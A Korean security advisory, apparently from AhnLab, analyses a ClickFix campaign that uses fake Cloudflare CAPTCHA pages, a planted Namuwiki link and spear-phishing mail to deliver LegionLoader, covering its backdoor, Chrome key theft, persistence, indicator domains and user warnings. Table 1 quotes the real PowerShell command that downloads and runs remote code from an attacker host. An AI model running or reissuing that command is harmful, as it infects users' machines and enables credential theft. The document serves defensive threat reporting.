내 손으로 악성코드 실행, 클릭픽스의 치밀한 각본
웹사이트에 접속했을 때 보안 확인을 위해 나타나는 CAPTCHA가 오히려 악성코드 감염의 시작점이 되고 있다. 안랩은 최근 나무위키에 삽입된 가짜 링크와 내부 업무 시스템의 계정 발급 안내로 위장한 메일을 통해 클릭픽스(ClickFix) 수법으로 LegionLoader 악성코드를 유포하는 정황을 확인했다. 정상적인 클라우드플레어(Cloudflare) CAPTCHA처럼 꾸민 화면이 어떻게 사용자를 속여 악성코드 감염으로 이어지는지 자세히 살펴보자.

가짜 CAPTCHA에 숨은 클릭픽스의 함정
클릭픽스의 가장 큰 특징은 악성코드가 사용자 PC에서 곧바로 실행되지 않고, 사용자가 직접 명령을 실행하도록 유도한다는 점이다. 공격자는 이를 위해 정상적인 클라우드플레어 CAPTCHA 인증 화면과 비슷하게 꾸민 가짜 페이지를 사용한다.
일반적인 CAPTCHA는 화면에서 체크박스를 선택하거나 그림을 고르는 등 웹페이지 안에서 인증 절차가 끝난다. 반면 이번에 확인된 가짜 CAPTCHA는 윈도우에서 별도의 명령을 실행하도록 안내한다. 사용자가 화면의 지시를 따르면 클립보드에 미리 복사된 파워셸(PowerShell) 명령이 실행된다.
파워셸은 윈도우에 기본으로 포함된 명령 및 자동화 도구다. 시스템 관리 등 정상적인 목적으로 널리 사용되지만, 공격자가 악성코드를 다운로드하거나 실행하는 데 악용하기도 한다. 이번 공격에서는 사용자가 직접 파워셸 명령을 실행하도록 해 이후 LegionLoader 설치 과정으로 이어지게 한다.

[그림 1] 가짜 클라우드플레어 CAPTCHA를 이용한 LegionLoader 유포 및 실행 흐름
이처럼 오류 해결이나 인증을 명목으로 사용자의 직접적인 행동을 유도하는 공격 방식을 ‘클릭픽스’라고 한다. 소프트웨어의 취약점을 직접 공략하기보다 정상적인 인증 절차라고 믿은 사용자의 행동을 공격 과정에 이용한다는 점이 특징이다.
나무위키와 업무 메일을 이용한 유포 수법
안랩이 확인한 LegionLoader의 유포 경로는 크게 두 가지다.
첫 번째는 국내 ‘신혼희망타운’ 나무위키 페이지를 이용한 사례다. 공격자는 해당 페이지에 공식 웹사이트로 위장한 악성 URL을 등록해 사용자의 접속을 유도했다. 사용자가 링크를 클릭하면 여러 웹주소를 차례로 거치는 리디렉션 과정을 거쳐 최종적으로 가짜 클라우드플레어 CAPTCHA 페이지에 도달한다. 이후 화면에 안내된 별도의 윈도우 명령 실행 절차에 따라 행동하면 LegionLoader 감염으로 이어지는 악성 파워셸 명령이 실행된다.

[그림 2] 국내 나무위키 ‘신혼희망타운’ 페이지에 공식 웹사이트로 위장해 등록된 악성 URL
두 번째는 특정 기업을 대상으로 한 스피어 피싱 메일이다. 공격자는 기업 내부 업무 시스템의 신규 계정 발급 안내로 위장해 메일을 보내고, 초기 비밀번호를 변경하고 계정을 활성화해야 한다며 링크 접속을 유도했다.
특히 메일에는 해당 기업이 실제로 사용하는 도메인 정보도 함께 제시됐다. 여기에 비밀번호를 잘못 입력하면 계정이 잠길 수 있다는 경고와 일정 기간 안에 계정을 활성화해야 한다는 안내까지 더해 사용자가 빠르게 행동하도록 유도했다.
하지만 메일에 포함된 악성 URL에 접속하면 앞선 나무위키 사례와 마찬가지로 여러 차례의 리디렉션을 거쳐 가짜 클라우드플레어 CAPTCHA 페이지로 연결된다.

[그림 3] 클라우드플레어 CAPTCHA 인증 화면으로 위장해 파워셸 명령 실행을 유도하는 클릭픽스 페이지
파워셸 명령으로 이어지는 LegionLoader 감염
가짜 CAPTCHA의 안내에 따라 파워셸 명령을 실행하면 본격적인 악성코드 설치 과정이 시작된다.
먼저 파워셸은 외부 서버에서 추가 파워셸 코드를 내려받아 사용자 눈에 잘 띄지 않는 상태로 실행한다. 이후 암호가 설정된 7z 압축 파일을 추가로 내려받아 압축을 해제하고, 내부에 포함된 LegionLoader를 실행한다.
|
PowerShell 코드 다운로드 및 실행 명령 |
|---|
| powershell -w h -ep bypass -c “$s=irm ‘leappoploaderinstantly[.]monster/yAzkCl1tDKSGNGGxw’ -UseBasicParsing; $e=[Management.Automation.Language.Parser]::ParseInput($s,[ref]$null,[ref] $null);&($e.GetScriptBlock())” |
[표 1] 클릭픽스 페이지를 통해 실행되는 악성 파워셸 명령
공격자는 LegionLoader 유포 과정에서 시기별로 서로 다른 도메인을 활용한 것으로 확인됐다. 8월에는 주소에 pop 문자열이 포함된 .monster 도메인을 주로 사용해 중간 리디렉션과 최종 클릭픽스 페이지로 연결했다. 이후 9월부터는 .monster 대신 .cfd 도메인을 사용하는 사례가 주로 확인돼, 공격자가 유포 인프라의 도메인 체계를 변경한 것으로 추정된다. 이와 별도로 8월에는 .com 도메인이 일시적으로 사용된 사례도 확인됐다. 현재까지 동일한 공격에 활용된 것으로 확인된 주요 도메인은 다음과 같다.
|
Index |
도메인 종류 |
확인된 도메인 |
확인된 시점 |
|---|---|---|---|
|
1 |
pop + .monster |
ascendpopdownloadtoday[.]monster |
8월에 활발히 확인 |
|
2 |
gushpopsecretdownload[.]monster |
||
|
3 |
jetpopdownloadsecret[.]monster |
||
|
4 |
leappoploaderinstantly[.]monster |
||
|
5 |
pourpopclickgetfast[.]monster |
||
|
6 |
spoutpoploaderfast[.]monster |
||
|
7 |
hotfootpopfilefast[.]monster |
||
|
8 |
boltpopsecretbutton[.]monster |
||
|
9 |
tearpopfilegetfast[.]monster |
||
|
10 |
flinchpoploaderfast[.]monster |
||
|
11 |
.cfd |
pixelrainbowclub[.]cfd |
9월에 활발히 확인 |
|
12 |
dreamysamuraisoul[.]cfd |
||
|
13 |
animecelestialblaze[.]cfd |
||
|
14 |
cartoontalesworld[.]cfd |
||
|
15 |
shadowinjalegend[.]cfd |
||
|
16 |
.com |
socialseoguru[.]com |
8월에 일시적으로 확인 |
[표 2] 유포 과정에서의 중간 리디렉션 주소 및 최종 클릭픽스 페이지로 사용된 도메인 목록 일부
LegionLoader는 곧바로 최종 악성 기능을 수행하지 않고, 내부에 암호화해 숨겨둔 코드와 실행 파일을 순차적으로 복호화한다.

[그림 4] 암호화된 셸 코드 복호화 결과
이어 현재 PC가 가상화·원격 환경 등 악성코드 분석에 활용될 수 있는 환경인지 확인한다. 이를 위해 디스플레이 장치 정보를 살펴보고, 외부 공인 IP가 호스팅 사업자에 할당된 환경인지도 점검한다.
이런 검사 조건에 해당하지 않으면 내부에 숨겨둔 실행 파일을 복호화한 뒤 자체 로더를 이용해 최종 백도어 악성코드를 실행한다. 이는 분석 환경으로 의심되는 시스템에서는 다음 단계의 악성 행위를 실행하지 않아 분석을 피하려는 과정으로 볼 수 있다.
추가 악성코드 실행과 크롬 정보 탈취
최종적으로 실행된 백도어는 감염된 PC 정보를 공격자의 C2(Command & Control) 서버에 등록하고, 이후 서버에서 전달되는 명령을 받아 다양한 악성 행위를 수행한다. C2 서버는 공격자가 감염된 PC와 통신하며 추가 명령을 전달하거나 실행 결과를 받아보는 데 사용하는 서버다.
C2 서버의 명령에 따라 백도어는 다양한 형태의 추가 악성 파일이나 코드를 실행할 수 있다. 일반 윈도우 실행 파일뿐만 아니라 셸 코드, 파워셸 스크립트, MSI 설치 파일 등이 실행 대상이 될 수 있다.
이 과정에서는 Process Injection이나 Process Hollowing 같은 기법도 활용된다. Process Injection은 실행 중인 다른 프로세스에 악성코드를 삽입하는 방식이며, Process Hollowing은 정상 프로세스를 실행한 뒤 내부 코드를 악성코드로 바꿔 실행하는 기법이다. LegionLoader의 최종 백도어는 explorer.exe나 RuntimeBroker.exe 같은 정상 윈도우 프로세스를 이용해 후속 악성 코드를 실행할 수 있다.
크롬 브라우저에 저장된 정보도 공격 대상이다. 백도어는 크롬의 Legacy Master Key와 App-Bound 암호화 키를 수집할 수 있으며, C2 서버의 지시에 따라 특정 브라우저 프로필의 정보도 가져갈 수 있다.
또한 윈도우가 시작될 때 악성코드가 다시 실행되도록 Run 또는 RunOnce 항목에 등록해 재부팅한 이후에도 감염 상태를 유지할 수 있다.
가짜 CAPTCHA를 구별하는 방법
이번 사례에서 가장 중요한 신호는 웹페이지가 CAPTCHA 인증이나 오류 해결을 이유로 윈도우 실행 창이나 파워셸에서 별도의 명령을 실행하도록 요구한다는 점이다.
정상적인 CAPTCHA 인증은 웹페이지 안에서 이뤄지며, 사용자가 파워셸 명령을 복사하거나 윈도우에서 직접 실행할 필요가 없다. 따라서 보안 확인을 이유로 명령어를 복사해 실행하라는 안내가 나타난다면 그대로 따라하지 않는 것이 중요하다.
메일이나 웹페이지에서 제공하는 링크 역시 공식 사이트 주소가 맞는지 확인하고, 특히 업무 시스템의 계정 발급이나 비밀번호 변경처럼 즉각적인 행동을 요구하는 안내일수록 링크를 바로 클릭하기보다 정상적인 업무 시스템을 직접 접속해 사실 여부를 확인하는 것이 안전하다. 또한 V3를 최신 버전으로 유지해 악성코드 감염을 예방해야 한다.
- AhnLab콘텐츠마케팅팀